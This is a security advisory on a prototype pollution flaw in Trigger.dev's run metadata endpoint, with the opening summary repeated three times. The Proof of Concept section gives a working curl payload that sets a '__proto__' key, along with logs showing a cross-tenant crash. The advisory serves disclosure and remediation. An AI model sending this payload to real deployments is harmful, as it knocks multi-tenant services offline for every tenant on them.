Trigger.dev: Prototype pollution via run metadata operations → process-wide cross-tenant DoS

Trigger.dev is a platform for building and deploying fully managed AI agents and workflows. From 3.3.8 until 4.5.6, the PUT /api/v1/runs/:runId/metadata endpoint passes attacker-controlled operation.key values to new JSONHeroPath(operation.key).set(newMetadata, value) in packages/core/src/v3/runMetadata/operations.ts without rejecting dangerous constructor and prototype path segments. A caller with a normal environment API key can pollute Object.prototype in the shared webapp process, corrupting Prisma queries and Prometheus labels, breaking other tenants' worker authentication, and causing a process-wide denial of service. This issue is fixed in version 4.5.6.

Trigger.dev is a platform for building and deploying fully managed AI agents and workflows. From 3.3.8 until 4.5.6, the PUT /api/v1/runs/:runId/metadata endpoint passes attacker-controlled operation.key values to new JSONHeroPath(operation.key).set(newMetadata, value) in packages/core/src/v3/runMetadata/operations.ts without rejecting dangerous constructor and prototype path segments. A caller with a normal environment API key can pollute Object.prototype in the shared webapp process, corrupting Prisma queries and Prometheus labels, breaking other tenants' worker authentication, and causing a process-wide denial of service. This issue is fixed in version 4.5.6.

Trigger.dev is a platform for building and deploying fully managed AI agents and workflows. From 3.3.8 until 4.5.6, the PUT /api/v1/runs/:runId/metadata endpoint passes attacker-controlled operation.key values to new JSONHeroPath(operation.key).set(newMetadata, value) in packages/core/src/v3/runMetadata/operations.ts without rejecting dangerous constructor and prototype path segments. A caller with a normal environment API key can pollute Object.prototype in the shared webapp process, corrupting Prisma queries and Prometheus labels, breaking other tenants' worker authentication, and causing a process-wide denial of service. This issue is fixed in version 4.5.6.

## Summary The run-metadata update endpoint `PUT /api/v1/runs/:runId/metadata` applies client-supplied "operations" by passing the **attacker-controlled `operation.key`** straight into `new JSONHeroPath(operation.key).set(newMetadata, value)` (`packages/core/src/v3/runMetadata/operations.ts:22-23`), with **no prototype-pollution guard** (`@jsonhero/path@^1.0.21` does not reject `__proto__`/`constructor`/`prototype`). A request with `key: "$.__proto__.polluted"` sets **`Object.prototype.polluted`** in the webapp process. Because every plain object then inherits that property, it corrupts unrelated code **process-wide and across tenants** — including Prisma query building and the Prometheus metrics client — causing query failures, **broken authentication for other tenants' workers**, and an `uncaughtException` (denial of service). Only a normal, low-privilege environment API key is required (one request). ## Severity A single request from any holder of a normal environment API key contaminates `Object.prototype` in the shared webapp process, breaking other tenants' workers (scope change) and degrading/ crashing the process (high availability impact). Prototype pollution is also a primitive for further gadget chains (integrity/confidentiality). ## Affected versions - **Introduced** in commit `34f8bd588` ("Add ability to update parent and root run metadata from children", PR #1563, 2025-01-08) — the `JSONHeroPath(operation.key).set()` sink is present from the first commit of `operations.ts`. SDK was at `3.3.8` at that time. - **Still present at HEAD** (SDK `4.5.0-rc.7`); `operations.ts` unchanged since 2025-05, and `@jsonhero/path` is pinned at `^1.0.21` (no proto-guard) throughout. - **Affected range:** `>= v3.3.8` (metadata operations API) through `v4-beta` / current v4.x — **fixed: 4.5.6**. ## Root cause `packages/core/src/v3/runMetadata/operations.ts` — `applyMetadataOperations()` builds a path from the **untrusted** `operation.key` and writes to it, for every operation type (`set`, `append`, `increment`, …): ```ts const path = new JSONHeroPath(operation.key); // operation.key fully attacker-controlled path.set(newMetadata, operation.value); // no __proto__/constructor/prototype rejection ``` The request schema (`UpdateMetadataRequestBody`) types `key` as a plain string with no validation, and `@jsonhero/[email protected]` walks `__proto__` as an ordinary segment → the assignment lands on `Object.prototype`. ## Proof of Concept Self-host `ghcr.io/triggerdotdev/trigger.dev:v4-beta`. Authenticated with a **normal environment API key** (`tr_dev_…`) and any run id of that environment. ```bash curl -X PUT "http://localhost:8030/api/v1/runs/run_cmqr2bsyo00013js2twwhdsfu/metadata" \ -H "Authorization: Bearer tr_dev_<env_key>" -H "Content-Type: application/json" \ --data '{"operations":[{"type":"set","key":"$.__proto__.polluted","value":"PWNED"}]}' ``` **Result — `Object.prototype.polluted = "PWNED"` process-wide.** Observed in the webapp logs: 1. **The request's own query is corrupted** — `polluted:"PWNED"` injected into every object Prisma enumerates: ``` prisma.taskRun.updateMany({ where:{ id:"…", metadataVersion:2, polluted:"PWNED" }, data:{ …, metadataVersion:{ increment:1, polluted:"PWNED" }, polluted:"PWNED" }, polluted:"PWNED" }) -> Unknown argument `polluted` ``` 2. **Cross-tenant authentication break** — the *next* request from a different client (a worker's `POST /engine/v1/dev/dequeue`) fails inside `findEnvironmentByApiKey`: ``` prisma.runtimeEnvironment.findFirst({ where:{ apiKey:"…", polluted:"PWNED" }, include:{ project:true, …, polluted:"PWNED" } }) -> PrismaClientValidationError ``` i.e. one tenant's request **breaks authentication for other tenants' workers** → their jobs stop being dequeued/processed. 3. **Denial of service — full process crash.** The `uncaughtException` in prom-client (`Error: Added label "polluted" is not included in initial labelset: [ 'kind' ]`) **crashes the webapp process**. Demonstrated with a second tenant: Tenant B (a *different* org/env, with its own API key) had a working request (`POST /engine/v1/dev/dequeue` → HTTP 400, auth OK) **before** the attack; **immediately after Tenant A's single attack request, B's request returned HTTP 000 (no response) — the whole multi-tenant webapp was down**. Logs show the crash at 20:53:41 and the process auto-restarting ~3s later (`FairQueue/ScheduleEngine started`). Repeating the attack in a loop yields a **crash-loop = sustained DoS for all tenants**. *(Note: the metadata endpoint itself swallows the Prisma failure with `ignoreError:true` and still returns HTTP 200 — the damage is the process-wide contamination observed in the logs, not the endpoint's status code.)* ## Impact A low-privilege caller (one normal environment API key, one request) pollutes `Object.prototype` in the shared multi-tenant webapp process, causing: - **Full cross-tenant denial of service** — the resulting `uncaughtException` **crashes the webapp process**, taking the service down for **all tenants** (demonstrated: a second tenant's request returned HTTP 000 immediately after the attack). Repeating the request produces a **crash-loop / sustained DoS**. Even without the crash, contaminated Prisma queries break other tenants' worker authentication, halting job processing. - **A prototype-pollution primitive** usable for further gadget chains (auth/logic bypass, etc.). ## Suggested remediation 1. **Reject dangerous path segments** in `operation.key` before building the path — block `__proto__`, `constructor`, `prototype` (and validate the `$.`-rooted JSONHero path shape). 2. **Build metadata on a null-prototype object** (`Object.create(null)`) and/or use a pollution-safe setter, so `__proto__` cannot reach `Object.prototype`. 3. Upgrade/replace `@jsonhero/path` for a version that is prototype-pollution safe, or wrap its `.set()` with a guard.